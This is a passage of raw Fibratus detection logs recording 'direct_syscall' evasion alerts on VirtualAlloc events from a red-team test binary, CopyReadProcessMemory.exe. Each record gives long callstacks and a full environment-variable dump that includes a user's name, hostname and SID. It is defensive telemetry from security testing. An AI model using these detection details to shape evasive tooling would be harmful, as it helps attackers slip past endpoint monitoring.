C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffabe32f93e C:\Windows\System32\msvcp140d.dll!_Mtxlock|0x7ffabe32dbb5 C:\Windows\System32\msvcp140d.dll!??0_Lockit@std@@QEAA@H@Z|0x7ff7dfda830d C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfda8287 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd8efd1 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd8ee16 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd8f0e7 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdc978d C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdcd6f7 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb8983 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb7bd3 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdd3d62 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb08e1 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdc67b4 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfda904e C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb0662 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdaf33d C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd7c040 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd90e83 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdd477c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfda3df6 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdd2467 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdd6113 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec709 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec5ee C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec4ae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec79e C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T18:52:51+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 768277 + Pid: 5472 + Tid: 8188 + Type: VirtualAlloc + CPU: 3 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 18:52:50.3580969 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ c54fef4000, exe➜ C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe, name➜ CopyReadProcessMemory.exe, page_type➜ PRIVATE, pid➜ 5472, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 5472 + Ppid: 9772 + Name: CopyReadProcessMemory.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe" -f C:\Windows\System32\cmd.exe + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe + Cwd: C:\Fibratus\redteam\CopyReadProcessMemory\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe" -f C:\Windows\System32\cmd.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff7dfd768ea C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdc8960 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd8ba78 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd6f91c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd93501 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd8f1de C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd94207 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd8b57a C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd8de7b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb2e1a C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbabae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb30ca C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbabae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb1c58 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbab48 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbabae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb246b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb2df0 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbabae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb1c58 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbab48 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb1c58 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbab48 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd791df C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd7b622 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd895a9 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdd47b3 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfda3df6 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdd2467 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdd6113 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec709 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec5ee C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec4ae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec79e C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T18:52:51+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 768279 + Pid: 5472 + Tid: 8188 + Type: VirtualAlloc + CPU: 3 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 18:52:50.3581201 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ c54fef3000, exe➜ C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe, name➜ CopyReadProcessMemory.exe, page_type➜ PRIVATE, pid➜ 5472, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 5472 + Ppid: 9772 + Name: CopyReadProcessMemory.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe" -f C:\Windows\System32\cmd.exe + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe + Cwd: C:\Fibratus\redteam\CopyReadProcessMemory\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe" -f C:\Windows\System32\cmd.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual 